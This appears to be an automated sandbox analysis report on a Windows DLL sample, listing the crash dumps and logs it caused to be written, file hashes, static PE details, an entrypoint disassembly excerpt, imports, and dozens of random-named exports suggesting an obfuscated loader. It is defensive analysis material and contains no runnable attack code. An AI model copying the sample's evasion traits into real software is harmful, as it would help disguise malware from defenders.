Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.4.4.4.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC9A.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4558
Entropy (8bit):	4.432009885604335
Encrypted:	false
SSDEEP:	48:cvIwSD8zsgJgtWI9Jdt1WSC8BL8fm8M4J2yGtFA+q84tjoKcQIcQwQvd:uITfmUiSNuJE4xoKkwQvd
MD5:	F481B8D2D1543F60E9E941BAFF59859A
SHA1:	CD333017701CCC29474164A6ACD86F66CC5E2379
SHA-256:	8F4C4596A8126DD0BFB6F69D60C6087B21146ED689F678EC9805988F12267409
SHA-512:	407887639F6CB3A7A2A659CC38D5C0F763EF0BD5448E99CC10A5F2FDFF720DB1D4270ABFA1F581B26E12F001778605989E342FD506DE1287290EEF0178F37134
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1279751" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCE76.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Dec 2 08:00:39 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	27744
Entropy (8bit):	2.472631846905019
Encrypted:	false
SSDEEP:	192:X2lh3bGF4COmUXSSnhuGHcamkr21OxSqPJJQS:yrdm2SSnhEaDr21Oz
MD5:	80CD0BCCDAB6AD4995B010A9546CD3EA
SHA1:	B1179CE447B852C89CBBC2C6C7666D8FB9D7FAC0
SHA-256:	73515F0F79A861CD18BEE20AEE51BD2A534C37F345F9658F9DAC3F503A857125
SHA-512:	3BEF29CC083F829F3A47C1BC041699A8399E2CBF5826DB45845E376D6AC85EF7B139410E80D0776FE7A53CE6319835362FBDB10C44F0B1CD673BD448B42B74A3
Malicious:	false
Preview:	MDMP....... .......'}.a............4...............H.......$...........................`.......8...........T...........h...._...........................................................................................U...........B......p.......GenuineIntelW...........T.......D....\|.a.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD28E.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8340
Entropy (8bit):	3.70261848767406
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiTn696YIHSUZ+ugmfcSzyCpBU89bewsf0Xqm:RrlsNiT696Y4SUMugmfcSzJeDf+
MD5:	7FD9DBB3326A994DDBF0ED60C728548C
SHA1:	5E3401C9B55C3244957E5CCF7B4CB7028E3CB13A
SHA-256:	CB3EAE541FF7D53DF6A24828FAB6959D5D2A1496225DDA0BF2A4C60576642D36
SHA-512:	6F7959B0A086061107533804D7BBFE56BB83BE7682173EC57613D76BC36188FEAC170ABDB1987A7AAD89FE6104A58474F0E29AC2EBFAB86C4BCD5E22BD3D09F5
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.4.4.4.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD619.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4598
Entropy (8bit):	4.475517527842101
Encrypted:	false
SSDEEP:	48:cvIwSD8zsgJgtWI9Jdt1WSC8B08fm8M4J2ynZFT+q84WD0KcQIcQwQvd:uITfmUiSNfJ1/Y0KkwQvd
MD5:	7A47E5BD4F39B0F172C021080AC68BC3
SHA1:	18CFDED79DC6239DE9735D91F590E4B3169289C1
SHA-256:	9382642228C995BD31CC1D11E13B8E42BBA42E325177DBCD28B99770C6D37523
SHA-512:	C1439BC09EB38FD203A6AE6724D9A08A6957DDD5C64864307D6A9F51BD1454D1342B7F75AFB0ABE76FA9BB9269B4A2390FFEEDEC1AA6BDC513ADD797FD27DA09
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1279751" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFEEC.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Dec 2 08:00:51 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	1060760
Entropy (8bit):	1.4611665065663524
Encrypted:	false
SSDEEP:	3072:xrfviF2+D4OZS7z4gM4TQS3jLIjrNCrV+5h08:xrfKFZUOgz4gM4TQS3jgcl8
MD5:	7DFE724E49E62605247079FA8EF412F2
SHA1:	EB7F96774A3C0647B2A85792A0C07A690932EA8D
SHA-256:	4A2BF34679FE90E26DA6D36D44D7244B5653A0335E4DEB0236BFA933667A5D89
SHA-512:	A72A967B9482F5893B4D6098957790249905BFEBE64C19EBAE35E9701F7FAD12FF0A9DD03FC0B785B582D6E6B3E2744DD3BE4C7153B78A0EBDB5EF484B918C0E
Malicious:	false
Preview:	MDMP....... .......3}.a............4...............H.......$...........................`.......8...........T...........@...X#...........................................................................................U...........B......p.......GenuineIntelW...........T.......D....\|.a.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log Download File
Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	7250
Entropy (8bit):	3.1638675934064526
Encrypted:	false
SSDEEP:	96:cEj+AbCEH+AbuEAc+AbhGEA+AbNEe+Ab/Ee+AbPE6w9+Ab1wTET+Ab2:cY+38+DJc+iGr+MZ+65+6tg+ECY+T
MD5:	19D036203BB3EC5E07BAC83F8DBAEB66
SHA1:	3EDD1A7F453378F1BC3CD22239DB821F808F069C
SHA-256:	1B247B7E58584F83F7D09B47D496C86B65CFA83CF35B5FF91F94D6697F8C908D
SHA-512:	3DF8EA9EC236321EA74E54F343B86573DA2464C68CA0E54F5799E65ACD43B89D7C925C5CF6131C341AA0E4A1DC1FE4E0B448241CC7A62DFACB4781475CD0467A
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.............-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20211202_075908_566.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	3.816953613711694
Encrypted:	false
SSDEEP:	96:8C/2gwPo+ka5N+9H/Y2WCnU/I2ly3ikr/441T2gjFzQNMCJ6JRI6Y5WIUMCQY56s:X/2gm0fHH2buZCSuTCeCHCmCQCm
MD5:	25D83F52831611EC36AABEC832821052
SHA1:	59B00827A0DA76004FD662EFEC408D59C476303D
SHA-256:	5C35727B729E37102BA452E692B6584E085F34B08B4BD6E96EE9DDB34760423B
SHA-512:	C3848F3529ED195D13CB584E431AC38377FB931F47075DC5C2F68EE739E3D3DB86C109DF9A62DA18D9863D13F468F1A50C81310BBFBAB9E4453D840C87793295
Malicious:	false
Preview:	.... ... ....................................... ...!....................................a%......................B..............Zb... ... ..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................./_8..... .....[..\|R...........8.6.9.6.E.A.C.4.-.1.2.8.8.-.4.2.8.8.-.A.4.E.E.-.4.9.E.E.4.3.1.B.0.A.D.9...C.:.\.W.i.n.d.o.w.s.\.S.e.r.v.i.c.e.P.r.o.f.i.l.e.s.\.N.e.t.w.o.r.k.S.e.r.v.i.c.e.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.D.e.l.i.v.e.r.y.O.p.t.i.m.i.z.a.t.i.o.n.\.L.o.g.s.\.d.o.s.v.c...2.0.2.1.1.2.0.2._.0.7.5.9.0.8._.5.6.6...e.t.l.........P.P..........a%.....................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.265286956235862
Encrypted:	false
SSDEEP:	12288:c6FofE2Ub1dQud7QCnz1ZLO561bDn7ad+sz7h+HaE5hDKW/Um9DWCdQw:dFofE2Ub1dQud7QwRrYw
MD5:	9B496420DB28F4E286FFEE68D34F525F
SHA1:	41366536762D47F866E01A1D721987DDF54C76FA
SHA-256:	FBCC028B8D14D416ECE7D23D9E347D9AAA42EF187864B32D09EB174035930BA3
SHA-512:	1392368168BA4AACA0448BD703AFF36BF683D852D3A7D3675141C4FDDC10DEDDB10F958DC021BDBF9DC67A2B17812600058DC4D5EE1B30FE5D56A63AF677DB81
Malicious:	false
Preview:	regfR...R...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm..0.R................................................................................................................................................................................................................................................................................................................................................V4.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1 Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	3.0491493044179703
Encrypted:	false
SSDEEP:	192:zya/VO1dvkCu4QY95FSE9lMqXyQVWnxuYW2o5Kqe8mxwpUuN5m:H9E5TXQnxuf2o5PmxwpUuN5m
MD5:	42CA41DBE6607C9D0051C4F9B2C462B4
SHA1:	93D88F3BA37D35FC24873618D9B8C077454BC416
SHA-256:	A085B286280ACDF8F0E022D67A6E94A9AD9E334BE41D665913DFD56E99C99B3E
SHA-512:	B4D0E13020FD5F33612BBDE4124E54BD62E934A49AB8445EE21168FFFF127B09E0D6618C5AA418FD71C1093D4755660D1500A0542917EF33269D4909DE606EDF
Malicious:	false
Preview:	regfQ...Q...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm..0.R................................................................................................................................................................................................................................................................................................................................................V4.HvLE.>......Q...........5...M\|...H.Z``e.........................hbin................p.\..,..........nk,..e2.R................................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk ..e2.R....... ...........P............... .......Z.......................Root........lf......Root....nk ..e2.R....................}.............. ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck.......p...

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.0673548336573475
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Zd9TtpY4Kh.dll
File size:	372736
MD5:	71eea35f36f3642fdbb94d9310e87747
SHA1:	25bcd5a134df55a5465ebe39f57bf758d5672197
SHA256:	bbadafe48d63d23d3a2ebb4a4103e32646d314d5ffb8e2551d62270f8b3ec352
SHA512:	c6d3628bc45cd0cf237d82f31b170dbffd117e13b6f9ba22f51c81ad91eeb6e992cd253b7b27c0d868078e8686c3b21e6f03ecbe9f8ef9c9725b920eb9f462d0
SSDEEP:	6144:qRsMh9YQWtcgA70wgF7nJyk6CQK+kIVDRjudJMrt32fFcRmXIeJXjWMmAD:cvm9Y0HFLFRQKqV4epRmxAvAD
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0...Q...Q...Q..E#...Q..E#...Q..E#...Q../$...Q...$...Q...$...Q...$...Q..E#...Q...Q...Q...Q...Q../$...Q../$...Q..Rich.Q.........

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x1001a401
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x61A7100E [Wed Dec 1 06:02:54 2021 UTC]
TLS Callbacks:	0x1000c500
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	609402ef170a35cc0e660d7d95ac10ce

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F90747BAEC7h
call 00007F90747BB258h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007F90747BAD73h
add esp, 0Ch
pop ebp
retn 000Ch
push ebp
mov ebp, esp
push dword ptr [ebp+08h]
call 00007F90747BB76Eh
pop ecx
pop ebp
ret
push ebp
mov ebp, esp
jmp 00007F90747BAECFh
push dword ptr [ebp+08h]
call 00007F90747BF254h
pop ecx
test eax, eax
je 00007F90747BAED1h
push dword ptr [ebp+08h]
call 00007F90747BF2D0h
pop ecx
test eax, eax
je 00007F90747BAEA8h
pop ebp
ret
cmp dword ptr [ebp+08h], FFFFFFFFh
je 00007F90747BB833h
jmp 00007F90747BB810h
push ebp
mov ebp, esp
push 00000000h
call dword ptr [1002808Ch]
push dword ptr [ebp+08h]
call dword ptr [10028088h]
push C0000409h
call dword ptr [10028040h]
push eax
call dword ptr [10028090h]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call dword ptr [10028094h]
test eax, eax
je 00007F90747BAEC7h
push 00000002h
pop ecx
int 29h
mov dword ptr [1005AF18h], eax
mov dword ptr [1005AF14h], ecx
mov dword ptr [1005AF10h], edx
mov dword ptr [1005AF0Ch], ebx
mov dword ptr [1005AF08h], esi
mov dword ptr [1005AF04h], edi
mov word ptr [eax], es

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x58390	0x8ac	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x58c3c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5d000	0x1bb0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x56fdc	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x57100	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x57030	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x28000	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x264f4	0x26600	False	0.546620521173	data	6.29652715831	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x28000	0x313fa	0x31400	False	0.822468868972	data	7.43227552322	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x5a000	0x1844	0xe00	False	0.270647321429	data	2.60881097454	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.pdata	0x5c000	0x66c	0x800	False	0.3583984375	data	2.21689595795	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.reloc	0x5d000	0x1bb0	0x1c00	False	0.784598214286	data	6.62358237634	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

KERNEL32.dll

HeapFree, HeapReAlloc, GetProcessHeap, HeapAlloc, GetModuleHandleA, GetProcAddress, TlsGetValue, TlsSetValue, AcquireSRWLockExclusive, ReleaseSRWLockExclusive, AcquireSRWLockShared, ReleaseSRWLockShared, SetLastError, GetEnvironmentVariableW, GetLastError, GetCurrentDirectoryW, GetCurrentProcess, GetCurrentThread, RtlCaptureContext, ReleaseMutex, WaitForSingleObjectEx, LoadLibraryA, CreateMutexA, CloseHandle, GetStdHandle, GetConsoleMode, WriteFile, WriteConsoleW, TlsAlloc, GetCommandLineW, CreateFileA, GetTickCount64, CreateFileW, SetFilePointerEx, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RaiseException, RtlUnwind, InterlockedFlushSList, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsFree, FreeLibrary, LoadLibraryExW, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, LCMapStringW, GetFileType, GetStringTypeW, HeapSize, SetStdHandle, FlushFileBuffers, GetConsoleOutputCP, DecodePointer

USER32.dll

GetDC, ReleaseDC, GetWindowRect

Exports

Name	Ordinal	Address
Control_RunDLL	1	0x100010a0
ajkaibu	2	0x100016c0
akyncbgollmj	3	0x10001480
alrcidxljxybdggs	4	0x10001860
bgmotrriehds	5	0x10001820
bojkfvynhhupnooyb	6	0x100019f0
bujuoqldqlzaod	7	0x10001800
bunsahctogxzts	8	0x100019e0
cjogbtafwukesw	9	0x10001830
csbbcaopuok	10	0x100016a0
cyqrjpaeorjur	11	0x100015f0
dlrzuyaeqj	12	0x10001840
egiimrq	13	0x10001850
evhgyts	14	0x100014f0
fdqpjjjyuw	15	0x100017e0
finabzjyxhxnnuuv	16	0x10001510
fkeacqpbbfw	17	0x10001910
fuwsgzf	18	0x10001790
fzbmpailk	19	0x10001980
gamsrhauvgl	20	0x10001810
gjfqgtgk	21	0x10001a10
gwsmfxfmekkyr	22	0x100018b0
haymuvtatadeydqmk	23	0x10001530
hqruohhkvpdalhq	24	0x10001620
htdaydfvtjlujwcaj	25	0x10001660
hzyrvjtx	26	0x100017c0
ifnsupqhxkwj	27	0x10001870
ijhgowlpmypocg	28	0x10001720
ispjhrqaxnyflnn	29	0x100015a0
iszvcqv	30	0x100017a0
ixgucop	31	0x100018d0
jcdvrhrguqtjpkc	32	0x100016b0
jkfyadsdpoks	33	0x100019c0
kfzgxmljkwaqy	34	0x10001730
kzfvroxozxufciczm	35	0x10001740
lpstjqa	36	0x10001900
ltkoyvzovzkqemyw	37	0x10001630
mdigcwjymnzvgaql	38	0x100014d0
mefathlzguuhqodfx	39	0x10001950
mgsrmfbja	40	0x10001500
mrxhcceopg	41	0x100014a0
nafhmuoq	42	0x100018f0
nefxgpc	43	0x100018a0
nrehxpiznrppeu	44	0x10001690
nucocnvjyqp	45	0x100018e0
obxoxtcbntaxofr	46	0x10001890
ofrzojd	47	0x100016e0
oofbctfc	48	0x10001550
opzpazspbecyjojf	49	0x100015b0
oqoigff	50	0x10001a00
oujlzhzvhjh	51	0x100016f0
ovpsanbypajv	52	0x100015e0
pblpcaadqbdxyb	53	0x10001680
ragwdgnyohftj	54	0x100017d0
rfosmac	55	0x10001710
rgymbuetvifqjqdlo	56	0x10001930
rmoxbxbbgidnbds	57	0x10001970
rxnkmfbycdcc	58	0x10001560
sefltbc	59	0x10001880
sgieprcsphl	60	0x100019a0
shpcmnqzvyltgdt	61	0x100016d0
slktbekupvmdbt	62	0x100015c0
sormivnk	63	0x10001570
tdblkstlyin	64	0x10001600
tkllyrc	65	0x10001650
tkwpnvfqnbpbdqe	66	0x10001a20
tnhtgnjrabqakgeke	67	0x10001700
tzpmcwwig	68	0x10001520
uceklmggjof	69	0x10001610
ukwdddyj	70	0x10001640
uwnaptydgur	71	0x10001940
vjusqoeo	72	0x10001580
vnyufpq	73	0x10001590
vsrwmkhzkrtlexxb	74	0x100014e0
wermsdfzb	75	0x10001770
wkhpfdjkypy	76	0x100014c0
wksndtayhfm	77	0x100015d0
wnjvxspilxpchq	78	0x10001670
wuqwfssiddrcl	79	0x10001570
wyyhtqptznbrknitg	80	0x100017f0
wzkcijdvadq	81	0x10001540
wzxlvxuyy	82	0x100019b0
xhtxeilfgsghxik	83	0x10001780
xvdijhconoukll	84	0x100014b0
ybbwnezvxfafm	85	0x10001750
yeylpreasnzamgac	86	0x100019d0
ypkidshxgzkkehc	87	0x100018c0
ypzvmpfbgai	88	0x10001760
zbrzizodycg	89	0x10001990
zdiuqcnzg	90	0x10001920
zfkwwtxd	91	0x10001490
zktykfwmaehxg	92	0x10001600
zmkbqvofdhermov	93	0x10001960
zvtqmkitgmzgo	94	0x100017b0

